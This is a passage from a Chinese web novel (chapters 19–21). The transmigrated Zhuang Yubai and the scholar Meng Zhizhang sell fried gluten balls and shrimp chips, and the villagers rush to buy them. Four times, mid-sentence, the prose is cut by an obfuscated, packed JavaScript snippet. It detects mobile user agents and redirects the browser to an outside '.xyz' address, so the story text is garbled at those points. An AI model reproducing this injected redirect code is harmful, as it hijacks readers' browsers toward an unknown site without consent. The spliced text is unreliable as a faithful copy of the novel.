灯苗被带动着陡然晃动几下，方才团在书桌旁的影子猛地伸展开，像只蜷成一团的小黑猫猛然惊醒，高高探出头，伸开长长的腰身，长长地漫到墙面、探到房顶。 猫头在房顶定了片刻，倏忽又缩回来，重新蜷在书桌旁。 一支笔咬得“咯咯”响。 庄聿白现在摸到过最多的钱，就是孟知彰给他的那150文钱。他已经觉得很多了。 1800文，摆在桌子上，岂不是满满一大堆？ 一个月就能赚这么多！了不得！不得了！ “哗啦，呼啦”木盆中，水声荡漾，动作节奏张弛有度。 任房中影子上窜下跳、飘忽乱舞，也没能扰乱到正在木盆上认真劳作的人半分。孟知彰像是存在于另一个时空，根本没察觉到庄聿白的一惊一乍。 孟知彰临时凑出一套桌凳，就着灯光，揉搓着手中面团。一双手半没在乳白色汤汁中，乳汤随着手中力度揉挤搅动出水声，时而“叮咚”，时而“哗啦啦”。 桌凳靠近北窗，和书桌及书桌上的人保持一定的安全距离，确保互不相扰。 自打纸张铺开，书桌上的人就没消停过。挥袖振衫，起坐不定，像只喝醉的蝴蝶，抱着那根笔挥毫泼墨、指点江山。 孟知彰，泰山崩于前而面不改色，只要今日这房顶还在，他就会只专注给到手上面团的力量是否足够。 庄聿白埋头加加减减，笔杆不知什么时候抹上墨汁，指腹一捏，在手上糊成一片。 他悄悄瞄了一眼认真水洗面筋的孟知彰。虽然是被临时拉来充当免费劳工，但悟性极好，力气……也够用。这很好。 现在马上进五月，孟知彰去府城参加院试赶在七八月份，到时单“金玉满堂”这一项就有五六两银子到手。孟知彰现在手握积蓄1两，抄书抄经能再赚个1两，加上夏收的1.5两，过了七月份，家里就能攒够小十两银子…… 十两银子？！ 庄聿白惊到了。 他以为自己眼花，将纸上数字又核了两遍。 是十两银子，没错！ 穿越之前他对十两银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795415|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子完全没概念。现在他知道一斤粮米卖□□文，货郎张辛苦挑担走上一整天不过赚上六七十文钱，牛大有家火里走、土里来，一家三口劳力烧炭卖柴每日也就200文左右进项。至于半个知识分子的孟知彰，能找到体面活计也就是抄经抄书，还不稳定，均摊下来每天也不过几十文。 他庄聿白现在身无分文——也不能说完全身无分文，毕竟还有借孟知彰的100文傍身——三个月后就能坐拥拥10两银子10000文！ 这不就是穷小子白手起家，摇身成为百万富翁的热血励志故事么！ 有了这个小目标，此前那个100文一个月翻十倍的军令状，何足挂齿！ 庄聿白这帐算得开心，完全忘记此前那份“君子协议”的期限只有一个月。好在他原本自信超绝，而且坚信，就算一月期限到了，孟知彰也定不会赶他走。他现在可是这个家里的“小财神爷”。 这不是空口画大饼，这是个已经成型、马上就可以吃进嘴里的“大香饼”。 “孟兄，孟兄！我们马上就有十两银子了！十两！” 小财神爷整个倾趴在书桌上，一手撑桌，一手浮夸地冲孟知彰挥着手里的笔。 孟知彰从木盆中抬起眸子，光影晃动中和庄聿白对上视线，愿闻其详。 庄聿白笔杆横过来往嘴里一叼，像端功勋簿一样，将那张一坨黑一坨白的纸在孟知彰面前展开，一五一十将方才推演的攒钱路径，“显摆”给孟知彰听。 声调越来越高，眼中星星越来越多，距离搅弄水声的孟知彰也越来越近……“十两银子！” 庄聿白正讲得高兴，树干一样粗壮的手臂横在自己面前，他下意识推了推，纹丝不动。 “孟兄，怎么了……” “再向前，就掉进去了。”遒劲的手臂仍稳稳挡在那里，粗布包裹下的肌肉紧实壮硕。 庄聿白忙低头看，木盆近在咫尺，再向前可不就要掉水里了么。 “不好意思，一时忘情。”庄聿白手腕撑着坚实的肌肉，往后退了退，支撑力和舒适度都非常好，“孟兄，有了这十两银子，我们去府城赶考的路费是不是就齐了？” “我们？”关键词锁定。 灯光从后面打过来，庄聿白身影正好挡在孟知彰脸上，明明暗暗，他看不清眼前人眼底的情绪。 “对呀，我们！我长这么大还没去过府城。正好有这样的机会，孟兄就带我去见识见识吧。” 乳白色汤汁在孟知彰指尖汇聚，“嘀嗒”掉落，水面溅起一圈圈涟漪。 抬起的手臂收回去，水盆中水声再起。 “你记得……你没去过府城？”云淡风轻扔来一个问题。 庄聿白刚穿越过来几天，当然没去过什么府城。可原主去没去过，记忆一团糊实在想不起来，他刚要说没去过，话到舌尖，忙一个急刹车给收回来。 “……” 哼，看不出来啊，没想到你小子竟然下黑手套我话。这是一个坑。去没去过都不能说。 YesorNo，庄聿白只能选or。 自己现在是一个失忆求收留有赚钱金手指的小可怜，这个人设绝对不能歪。 19. 海神 庄聿白先叹口气，定个基调：“刚一时口快罢了，我哪里记得自己去没去过府城。不过没关系的，若是只够一人去的话，你去。毕竟是你考试嘛。至于我……你到时给我带点好吃的回来就行。” 庄聿白宽慰对方，嘴角弯上恰到好处的弧度，心中早为自己竖起大拇指，认为自己不仅是个赚钱小能手，还非常……善解人意、知书达理、明辨是非。 不管哪方面，快点夸我。庄聿白蹲在那副结实身躯一侧，抬起一双水汪汪大眼睛无辜地看着孟知彰，像只小猫咪巴巴等着发放小零食。 火苗冉冉，昏暗的光线下，交织在一起的两支身影跟着微微晃动。 孟知彰视线收了回去。 水声再起，一声接一声，给在这个略显拥挤的空间增添了几分潋滟旖旎。 庄聿白没等来小零食。他眨眨眼。好吧，那就是不夸咯。没关系，是孟知彰脸皮薄不好意思夸人，但我庄聿白还是心领了。 他收起纸张，正准备起身，此时水声毫无防备停下来。 授勋时刻到了？庄聿白正正身子，抬眼间，椭圆一团面筋递到庄聿白面前，水润润、柔嫩嫩。 “这样，可否？” “……？”庄聿白看看眼前人又看看这团面筋，恍然大悟，“可以。赞！” 不管怎么说，孟知彰力气活确实干得漂亮，而且一教就会。他自己洗面筋每每到中途就散劲，从来没洗出过这么完整劲道的面筋团。 半轮月亮悬在碧空，夜色清亮，偶有几抹微风拂过脸庞，凉凉的。 面筋放进清水泡着，明早和虾片一起入锅炸出来。淀粉水则放在院中通风处慢慢沉淀。 庄聿白亦步亦趋缀在孟知彰身后，如同一只识趣的小尾巴，既保持恰当距离以免妨碍对方干活，又随时调整位置，确保对方能和自己实时沟通交流，提供情绪价值。 当然话题重心还是那不久之后就能到手的十两银子。 “哎呀，”庄聿白忽地上前扯住孟知彰衣袖，“我们还有很重要的一项成本没算进来！” “什么？”孟知彰往簸箕上堆淀粉的手一顿。膏状湿淀粉完全平铺，还是要些力气和技巧。 “人力。我们没把人算进来，就是干活的人。”庄聿白严肃地看着孟知彰，很快他自己想通了，“算了，咱现在是小本生意，你我两个把这活包了吧。” 庄聿白又想到什么，向前走了一步，靠着孟知彰将衣袖一撸到底，露出一条细弱苍白的胳膊：“我身子弱，干不了太多体力活。孟兄要多体谅我。” 为了展示自己不是装的，他强行弓起自己的肱二头肌，垫着脚往孟知彰面前送。 月光打在那一小坨姑且算是鼓起的肌肉上，月光都失了力气。 孟知彰目光虽一直留在这条胳膊上，却没有多说什么。 体谅还是不体谅呢？庄聿白一根手指在小臂上戳戳戳：“你看，它多细，没多少力气的。” “……”夜色遮掩下孟知彰暗不可察地吞了下喉结。 见对方还是没反应，庄聿白索性踩起脚尖，抓住孟知彰的袖管也来了个一撸到底。 文似看山不喜平。这肌肉也是。 月色下，孟知彰的手臂像遒劲的树干，起伏线条下是汹涌的力量，一块块肌肉如一个个小山包，不，如一个个蓄势待发的小火山堆在一起，随着手上动作绵延起伏，非常有爆发力。 庄聿白又低头看看一旁自己的胳膊。 一小根细细直直的，一眼到底，一马平川，一帆风顺。 怎么说呢，也不是不能用。 但人和人的差别，有时候就与小猫咪和大黑豹的差别一样大。 庄聿白默默将自己的袖子放下来，一直遮过手背。 “无妨。”带着磁性的嗓音从头顶响起。 庄聿白抬头看去，孟知彰站正身子对着自己，巨大的身影正铺天盖地压过来。 “用力气的地方，有我。” * 惦记着货郎张一早便来取货，庄聿白醒得比往常都要早些。 手脚上的布绳已经解开，他揉着眼睛下了床。 房内静悄悄，院子里也静悄悄。 两大簸箕淀粉支在庭院正中，斜斜地已经铺了些阳光。那团面筋换了清水，摆在阴凉处，可以随时炸制金球。 灶上冒出些热气，是早饭好了。 庄聿白揉揉肚子，不得不说饭香是最好的“早安吻”，不不不，最好的“早安”。 他找遍家中每个角落，就是不见孟知彰的身影。奇怪，一大早能去哪儿呢？等他看到虚掩的柴门，才想起后园子这茬事。 一身粗布短褐的孟知彰，正动用庄聿白昨晚看到的那两条壮硕手臂，上下挥动铁叉，将一坨坨半发酵的肥草从旧肥堆归置到新堆肥。 袖口半挽，一丝不苟叠成一寸宽，熨帖地勒在紧实的手腕上，露出两截蜜色手臂。晨光照上血脉贲张的皮肤，镀了层质感坚硬的金色。青筋凸起，随着手中动作如游龙弄水，搅动阳刚之气。 庄聿白见过不少古希腊海神波塞冬的雕像，手持三叉戟，脚踏万里波，宽肩紧腹，赤·裸上身，肌肉线条匀称，极力讴歌人类躯体的力与美。眼神吸魂摄魄，一派傲视群雄、睥睨众生之态。 但此时此刻此情此景下，孟知彰就是他眼中完美无缺的海神再现。是穿着衣服的活海神，底色也更柔和敦厚。 活海神不仅给他做了早饭，帮他做好虾片炸制准备，还一大早就来翻挑肥堆。真是个靠谱的兄弟！ 穿越种田，有兄弟如此，夫复何求？ 庄聿白急着走近些，一不留神差点一脚踩进苗圃。 昨天种下的菜苗已直挺挺站起来，个个支起叶片，阳光一照精神甚佳。 “醒了？”孟知彰挥叉的空档看着庄聿白摇摇走过来，“看看这肥堆翻得如何？” 果然神明总是会给人带来莫名的压迫感，庄聿白轻吁半口气，放开步子走近检查肥堆发酵情况。 有一说一，肥堆状态很不错，说明碳氮配比、湿热状态、肥堆形状都合乎要求，这让庄聿白很开心，甚至有些得意。 他庄聿白马上就能成为这个时空中掌管堆肥技术的神，大可以比肩此刻正挥着战戟的海神。 货郎张摇着拨浪鼓从通往北山的那条小路走来时，庄聿白和孟知彰已吃过早饭，正坐在院中石榴树旁，将新做的玉片和金球往荷叶中打包。 昨天没说玉片多少钱一包，货郎张一夜没睡踏实，听闻卖8文一包时，他以为自己听错了。 “这玉片，真的卖8文？” “是太贵了，8文不好卖？”庄聿白心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798620|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里一紧，“那依你看，咱定价多少合适？” “这怎么也要十几文吧。”货郎张将一包玉片掂在手上，“这一大包，我还要抽走1文，小郎君你真有的赚么？” “放心，咱都有的赚！”庄聿白拿出包好的10包金球和10包玉片，又散装了小半包虾片，“玉片第一次面市，大家没见过，你先请他们试吃，喜欢了再买。” “别看小郎君年纪轻，做事倒是极稳妥。”货郎张接过来，对这个文曲星表弟满心满眼的佩服赞赏。 货担上早腾出一个专门空间，货郎张将荷叶包一个个放好，还用渔网兜固定一下。好在金球玉片都不重，只是这个满中又满的货担，撑得更像一座小山。 孟知彰拿出两面简易小旗递给货郎张，一字一句指给他看：“这是‘货郎张’，这四字是‘金玉满堂’，你插在担子上当个招牌幌子。” 货郎张愣住，一时没反应过来。招牌幌子，那是店铺商家才悬挂的东西。虽然一些游医卜卦的，或大些的货郎摊也支个幌子，那都算有头有脸的。自己这个担子是从父亲那接过来的，没成想到自己手里，竟然也有幌子了！ 他局促地从衣襟上擦擦手，忙上前郑重接过去，“金玉满堂货郎张”，他试着小声念了句，话一出口倒不好意思起来，像是新婚夜坐上婚床给自家那位重新介绍自己。 两面小旗高高树在货架上，风一吹旗面招展，货郎张的笑容也越发舒展。他从衣襟中掏出钱袋，心中默算，一包8文，20包160文。 孟知彰先同庄聿白交换过眼神，拦下货郎张数钱的动作。 “玉片和金球一起，是笔不小数字，这些银钱你自然能拿出来。只是东西都是自家做的，费些功夫的事，没必要让你占着这么多成本。你先去售卖，等收回来银子再将本钱再一并给我们。这是琥珀提议的，知道张兄家马上添丁增口需要用银钱的地方多，才这般提议，莫要以为我们小瞧了张兄才好。” 文曲星一口一个“张兄”叫着，货郎张听得有些找不到北。给自己这么好的营生，又送了招幌，还不让自己占本钱，这……天下真有这样的好事，还全落在自己头上？ 货郎张只觉心头发酸，平时在街头为卖货总要有些“耍宝献艺”的套路活，但那份机灵劲此时是一点也使不出来。眼下也没有什么好报答的，只能默默记下这份恩情。 送走货郎张，一时孟知彰也去了学中，带上几包金球和玉片。 院子静下来，家中只剩庄聿白一人，他将晾晒的淀粉块翻了翻，转身去了灶屋。桶中的虾全捞出来，估摸也就一斤多。目前销售前景向好，后方产能也要跟上。 庄聿白用上所有虾，做出圆滚滚几个面坯，也就是20包虾片的量。最近大有哥在山中忙着，没时间帮忙搞虾，眼下得找个新的货源。 热气翻腾，粉嫩嫩面坯从沸水中出浴，一根根放置在阴凉处风干。 家中面粉也见了底。正当庄聿白在灶屋翻找是否有更多粮食时，“哗啦啦，哗啦啦”柴门响了。 庄聿白接出来，是一位三四十岁的妇人。一身粗布长襦干净整洁，头发用布巾包着，斜斜插了支素色银钗。 “你是琥珀吧？我是怀仁的娘，就是前几天来送丝瓜那小子。方才遇到知彰，他说你在家，我忙完手上活计就过来了。有件事找你。” 20. 抢购 庄聿白不知道该怎么称呼妇人：“还没亲自去道谢，丝瓜非常不错。” 妇人热略地笑着，跟着庄聿白进到院子里：“刚下来一批果，先送你们尝尝，你跟着知彰叫我一声柳婶就行。若喜欢藤秧上还有，再去摘些来……呦，这就是你做金球的材料吧。” 柳婶进门就被院子中晾晒的东西吸引，围着簸箕挨个细看。 “这是做玉片的材料。”庄聿白将未来得及打包的玉片盛了半碟，“今早新做的，也请尝尝。” 柳婶从簸箕上回过身接了碟子，笑着上下打量庄聿白，视线掠过眼尾泪痣时顿了下，没多说什么，仍是一团火热。 “这也是你做的？年纪轻轻就这么能干。我这次来是为了那日的面筋球。马上端午了，我打算过几天我回娘家带几包当节礼。你那面筋球可能帮着留些？五包就成。” “没问题。柳婶哪天来拿提前跟我说一声就行……” 庄聿白话还没说完，忽见柳婶变了脸色，双眼圆睁、嘴巴半张，一会儿指手里的半块玉片，一会儿又指指庄聿白。 完了，这是噎着了！ 庄聿白着急起来。食物吞咽引起窒息，非常危险，需要海姆立克急救。庄聿白掌握理论要领，只是没亲自实践过，而且在古代男女授受不亲，若是自己这么近距离帮她……算了，救人要紧！ 庄聿白撸起袖子，正要转到柳婶身后立马实施急救，忽听对方大叹一声，“这是什么！”还将剩下的半块玉片又塞进嘴里“咔滋咔滋”品起来。 庄聿白：“……原来她没噎着！” 得知玉片和金球都是8文一包，还能凑成“金玉满堂”，柳婶在进门时提到的5包金球外，当即新增10包玉片，立时就要买走那种。唯恐晚一点，就轮不到自己了。 庄聿白劝不住，一下15包对方又不方便拿，他只能跟着亲自送一趟。 都是乡民，人也分三六九等。能一下出手一百多文钱，想来家境还不错。庄聿白虽做了心理准备，但看到柳婶家三间阔气大瓦房时，还是生出些羡慕。 院落整洁，一看便是个勤快人家。西南角围着一圈鸡栏，“咯咯咯”十几只是有的。鸡栏向北到西厢房之间是十几平一个菜园，绿油油一片，一架梯子抵在墙上，绿叶遮天蔽日爬满半墙的是丝瓜，大大小小的瓜从叶片黄花间垂下来，很是诱人。 庄聿白将东西放至西厢房桌子上，出来看这片长势喜人的菜园：“柳婶，这几天天气干，早晚可以多给浇些水。靠近西墙那几棵，叶片边缘发红发干，恐怕要有虫害迹象，可以撒些草木灰预防下。” “没想到你这孩子还懂得种菜。婶子记下了。”柳婶端了杯茶出来招待客人，一边东拉西扯闲聊起来。 “马上夏收了，他们爷几个去田里和谷场看着些，免得过些天农忙时出什么差池。夏收不等人，万一到时连下几天雨，庄稼抢收不会来，可不把人坑苦了？这时候就体现出家族的好处了。谁家若是人手不够，族中协调安排帮着抢收。当然这雇人的费用，个人出三成，剩下七成由族中补上。就比如知彰这孩子，又是读书又是下地农忙，哪里顾得上。族中都会多照应一二，自然也没人说什么。” 柳婶是个热心肠，从见了面这话就没停过。听到孟知彰的部分，庄聿白作为表弟正想替他这位表哥感谢族里的照顾，却见柳婶正拿出一个钱袋子认真数钱。 “这是金玉满堂的120文钱。” 庄聿白想了想，并没有接：“大家乡里乡亲，想来柳婶平时也没少照应我家表哥。金球玉片再怎么着也不过是两样吃食，按理说不应收钱的。莫若这样，柳婶家中若有余粮，莫如折些与我。也省得我们夏收前再去买。” “有有！”柳婶也没推脱，转身回西厢拎出来半袋麦子，又让庄聿白等等，说话间她登高爬梯从西墙那片瓜叶中一顿翻找，站到庄聿白跟前时，手里抱着五六根一尺长的丝瓜，一股脑塞了过来。 柳婶还嫌不够，又去菜园拔了两棵半大白菜就往袋子里装，一边装一边满院巡视，看有什么东西可以一并塞给庄聿白。 庄聿白是感激不离口，这满袋子热情不敢不要，全要了又有种占人便宜的嫌疑。正在踌躇不下时，却听院外有人叫门：“他柳婶在家么？” 大门未关，见家中有人，院外人边说边往里走，“这是前些天你要的鞋样子，就压在那柜子里，今天翻晒衣服才翻出来。你看我这记性呦！” 来人也是个四十岁上下的妇人，一眼看见院中站着的庄聿白，边打量边同柳婶道，“这位是你娘家侄儿？真是好模样！你看着眉眼，你这看面相……别说方圆十里，我活这些年就没见过这样齐整的孩子！” “我若有这样的侄儿，做梦都能笑醒。”柳婶从往袋子中收了手，笑着迎上去，“这是孟书郎表弟，帮我送金球玉片来。我又新买了几包凑成‘金玉满堂’……就是我上次给你尝的那面筋球。”柳婶向来人又补充道，“他婶子，只要8文一包。” 妇人一听“金玉满堂”，像触发了什么机关，既忘了来找柳婶的目的，也忘了什么男女有别，扯着庄聿白的袖子就要立时跟他家去。 原来昨晚她娘家弟媳从镇子上来给她送东西，特意来打听是不是有什么“金玉满堂”，还非常肯定就是孟家庄一个书郎家做的。孟家庄是有几个读书郎，可没听说谁家有什么金啊玉啊的。弟媳偏不信，非留下200文钱，说打听到了千万帮着买一些。 这才几日就有人从镇子上来打听了？！ 凡事就怕攀比，柳婶登时觉得自己买少了，也要跟着庄聿白回去再买些。 这大热天的，婶婶们的热情让庄聿白着实有些受宠若惊，也有些招架不住。 庄聿白几乎是被扯着袖子一路拖拽回家的。 两位婶婶一进门，素日安静的小院顿时兵荒马乱起来，喧闹乎东西，奔走乎南北，裙钗乱挥、笑语盈庭。 两位“不速之客”也不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803807|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄聿白介绍，当即开启现场自助采购模式：自助下单、自助分拣、自助买单，然后满载而归，笑闹着结伴而去。 两位婶婶走了有一会儿，庄聿白耳中喧闹声才渐渐散去。 稍稍回过些神来的他，看着家中放置金球玉片的架子被“扫荡”一空，以及桌子上多出的一堆铜钱，回忆着刚才“强买强卖”的惊险一幕，仍有些懵懵的。 自己只是帮人送货到家，怎么就被强行“清库存”了？ 上午新煮的那几根面坯，是家中仅有的原料存货，保障后日货郎张来取货没问题。再之后呢？ 庄聿白没料到商品刚上架就开始出现断货的情况。 从柳婶家换回的麦子，庄聿白拎了拎，有小二十斤，制作100包玉片、30包金球是够的。 庄聿白先将小麦用清水淘洗两遍，找了块太阳地摊平晾晒。等麦子晒干的空档，他将面坯切片。 薄薄切片，粉嫩半透明坯片齐整码在圆形簸箕上后，庄聿白收起晒到七八成干的麦粒，去了磨坊。 磨坊在村子南边，多亏刚才婶子们在繁忙的自主采购过程中，还拨冗给自己指路。 一路走来，庄聿白根据每家每户的房屋情况，对孟家村的经济条件大致有了个了解。村中以孟知彰家这种茅屋为多，瓦房人家也有，只是都不如柳婶家气派。但若说墙漏屋塌，日子过不下去的，好像也没见到。 竹篱柴门将一家家一户户分出来，房前屋后也多种些菜蔬，当然也有养鸡鸭的，走得近些，还能听到一些“咯咯咯”“嘎嘎嘎”的声音。 不出所料，庄聿白终是走迷了路，没能按照脑中地图中找到磨坊。 好在路口蹦出来几个跳窜窜的小孩子，把他引过去。一路吵吵闹闹，有人拽袖子，有人扯衣襟，也有的出于好心帮他托着身后的袋子。总之前后左右围着他，像喂食时，脚底下来回缠绕你的一群猫猫，一边走一边叽叽喳喳一起说话，净抛出一些奇怪的问题。 “你是谁家小哥哥？我怎么从来没见过你？” “你的头发怎么这种颜色？” “你知道我叫什么名字么？” “你是年画里的神仙吗，怎么这么好看？” “你袖子里怎么香香的？” …… 到了磨坊，小孩子们一窝蜂散去。庄聿白刚想喘口气，但他不知道两位婶子强买强卖的新闻已经扩散到磨坊。更低估了村中情报的传递速度。 磨坊中还有几个排队等着磨粉的村民，正站在那有一搭没一搭尬聊着，听说他就是孟知彰表弟，那个会做“金玉满堂”的，登时围上来，又是帮庄聿白背袋子，又是搬凳子让他坐，还有人拿了把蒲扇过来给他扇风。 庄聿白承认自己有时带着些i人属性，这一通殷勤献得他……想逃。 献殷勤的人可不管这些，唯恐他跑了一直将他往椅子上按。 目的只有一个：要排队买他家的“金玉满堂”。 21. 磨坊 为买“金玉满堂”，一磨坊的人将庄聿白团团围住。 倒不是村中人家有多少闲钱买这些吃食。端午节虽比不得过年，但大小也算个重要节日。过节，就要送礼。 走亲访友探望长辈，带上这“金玉满堂”，一则名字吉利，二则价钱也算合适。最重要的是，连柳婶都说好，想必真的好。柳婶刚才还去孟书郎家买了一大筐回去，有人亲眼看见的。 柳婶何许人也，族长家的长房长媳！当年轰动一时的“肘子宴”，就是族长家为迎娶这位儿媳摆下的。端午节和族长家长媳备一样的礼，那绝对是有面子。即便家中不太宽裕的，现在花钱买金玉满堂，等过了节，手头省省就是了。 磨坊老板娘正在后院忙着，听说做“金玉满堂”的师傅来磨粉，手里的活儿也停了，拉过围裙边擦手边小跑着就过了来。 众人层层围着一个人，不用猜定是做“金玉满堂”的师傅了，老板娘忙分开人群向前挤。 能用面粉做出连柳婶都惊叹的吃食，想必是个道行极深的老师傅，这大热的天，一群人这样闹吵吵挤着，万一给闹出个好歹就不好了。 “‘金玉满堂’师傅在哪？”老板娘一边喊一边挤到前面，“快散开些，小心闷坏他老人家！” “三婶你磨粉磨花眼了吧，哪来的老人家！”有人善意开着玩笑。 老板娘挤到人群中间，往那凳子上看去。确实，哪是什么老师傅？只见一眉清目秀、长相极为标致的小郎君，正端端正正坐在那里。 或许是人多，或许是天热，小郎君脸颊红扑扑的，神情带着几分紧张。 “这是孟书郎家表弟，刚来没几天。”有人帮着介绍。 “孟书郎长得那般高大，没想到这表弟倒挺斯文秀气的。你叫什么名字？今年几岁了？” 老板娘开了头，其他人也像找到了新话题，忙跟着问起来：“小郎君家哪里的？”“是否成亲？”“中意什么样的人”…… 哈？这什么情况？说好的美食节目，怎么无缝切换到婚恋综艺？ 众人围着庄聿白七嘴八舌一起说话，铺天盖地的问题砸下来…… 老板娘石磨上离不开人，临走交代主要诉求，大手一挥说今日磨粉的钱免了，小郎君务必先给她家赶出来5份“金玉满堂”。 旁人一听都不乐意了，跟老板娘高声理论，明明是他们先跟这位小表弟预定的，怎么说也要排在磨坊前面。 “他表弟啊，不管怎么说，这金玉满堂得给我们留一份。知彰小时候掉水塘里，我还下去捞他了呢！” “要这么说，也得给我们留一份！知彰五岁那年被他爹揍哭，我还拿了块糕哄他。” “瞧瞧你！就吃你一口糕，你给人家孩子记了十年账！知彰小时候还在我们家睡过一晚，我跟谁说了？这样看来，我们也得来一份，不，两份！” 纷纷闹闹 吵吵嚷嚷 …… 庄聿白头顶像炸开了锅，感觉有一万只喜鹊在自己上方盘旋。 一时的外向，带来永远的内向。他有些后悔出门前为何不查查黄历。 “抱歉！我……我家中灶上还烧着水。我先回家看看……” 庄聿白不记得自己是怎么挤出的人群，更不记得如何甩掉肩膀、胳膊上扯住自己的那些手。从人堆挣脱后，他撒腿就往家逃。 ……落荒而逃。 今天庄聿白算是彻底见识了孟家村人民的热情。或许孟知彰家这道柴门就是孙悟空画的圈圈，出了这门就有数不清的状况。 一口气逃回家的庄聿白不仅关了柴门，连房门也关了，藏在屋内躲清净。 不过这清净还没躲一会儿，“哗啦啦”外面柴门就响了。 庄聿白耳朵一下竖起来，警铃大作。莫不是方才磨坊里的人追来了家里？ “装聋、装哑、装死”，庄聿白打算“消极避险”。现在家中没货，任谁来都没用。以及这份热情，他有些消受不起，某种成都上总觉得是在辜负人家好意。 嗐！暂时当个鸵鸟吧。 他躲在门后，透过门缝往外看。柴门原本简陋，作用也仅限于“防君子不防小人”，若真想进来，抬手从外面就能将门打开。 见没人开门，来人竟真的将手伸了进来…… 光天化日，还追到人家里来。这…真不把自己当外人吗？ 不过来人确实不是外人。 孟知彰推门进来，正要转身将门带上，衣袖却被人一把扯住，还生拉硬拽将他往屋里拖。 “……！” 刚走没几步，紧抓在胳膊上的力度忽地一散。 庄聿白急吼吼又折回去，鬼鬼祟祟把脑袋探出柴门，左右看看，确定一切安全、没人跟梢后，“哐啷”将柴门关上。 还是不放心，又将门内的木插紧了紧。 “孟兄，路上可还平安？没人跟着你吧？” 庄聿白极力压低声音，呼哧呼哧将人拉进屋内，立马反锁了房门。 “发生何事？有歹人？”孟知彰看着眼前神神秘秘的庄聿白。 “不是歹人，但比歹人还可怕。我跟你讲哦……” 庄聿白将今天的见闻经历一五一十、添油加醋、龙飞凤舞地给孟知彰讲述了一通。 既庆幸他没在现场，错过了一群人围着你同时开腔、各说各话的盛况；也遗憾他没在现场，不然就能帮他一起应对，还能从众人口中拼凑出自己的完整童年。 孟知彰将招文袋从身上取下挂在书墙上，顺道把长衫也换下来，和庄聿白一样一身短打，在家中穿着方便些。 他认真听完庄聿白这一肚子苦水，安抚地点点头，将人引到椅子上坐了。 “无妨。他们素来热情惯了的。”见庄聿白还要分辨什么，又道，“我这里有一个好消息……” 庄聿白心中嘀咕，你自是无妨，就算真的有歹人来，一看你这身腱子肉，心下也得掂量掂量。后面又听说有好消息，忙抢答：“那先听好消息！” 庄聿白抬脸望着对方，眼睛亮晶晶。 “有位同窗叔父家养殖鱼虾，我订了一篓，明早就会送过来。” “真的么！”庄聿白正愁没地方搞虾，这下可算解了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808707|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的缺货危机，他一高兴，也忘了今日被“围攻”之事，激动得直接从椅子上跳起来。 可跳起来似乎还无法表达他此时的心情。庄聿白视线平扫过去，一堵宽阔的胸膛陡然撞入眼底。他自己也不知道怎么想的，猛地扑过去，踮着脚尖一把紧紧抱住。 “你真是我的亲亲好兄弟！” 细细两根胳膊搂着结结实实的一个身体，脸又在壮实温热的胸口蹭了蹭。确实结实。 “那坏消息呢？”一张单纯无邪的脸，从线条饱满的胸前缓缓抬起。 孟知彰身强体健，往常三两个成人近不了身，此时竟被两根细弱胳膊牢牢锁定在原地，半分动弹不得。 “……！”孟知彰喉结滚了滚，欲言又止。 庄聿白顺着对方的视线往下，眼睛渐渐放大，等他意识过来正在发生什么，忙松了手：“哦哦！抱歉，一时忘情。” 退后一步站稳后，庄聿白忙接起方才的话题，或许是为了消散一下空气中莫名涌起的燥热。 “刚才说还有一个坏消息，是什么？” 孟知彰轻咳一声，眉心暗不可察地挑了下：“我刚说的是，我这里有一个好消息，和另一个……好消息。” 庄聿白没想到孟知彰竟然也学会调皮。也对，孟知彰不过十七八岁，正是魏武挥鞭、意气风发之时，自然也有少年儿郎阳光开朗的一面。 孟知彰从招文袋中掏出一张纸：“今日带去学中的金球玉片，果不其然很受欢迎。” 庄聿白大致瞥了一眼，密密麻麻写着人名和数字：“这不会是预定金玉满堂的名单吧？” 孟知彰点头，他今早一到学堂就引起围观。 有消息灵通的听说过“金玉满堂”，想亲眼看看是个什么稀罕物，没听说的知道孟知彰家表弟做的，也都满心好奇。 主要是孟知彰素来人缘好，还有两个“案首”在身上背着，推崇者、追随者甚众。 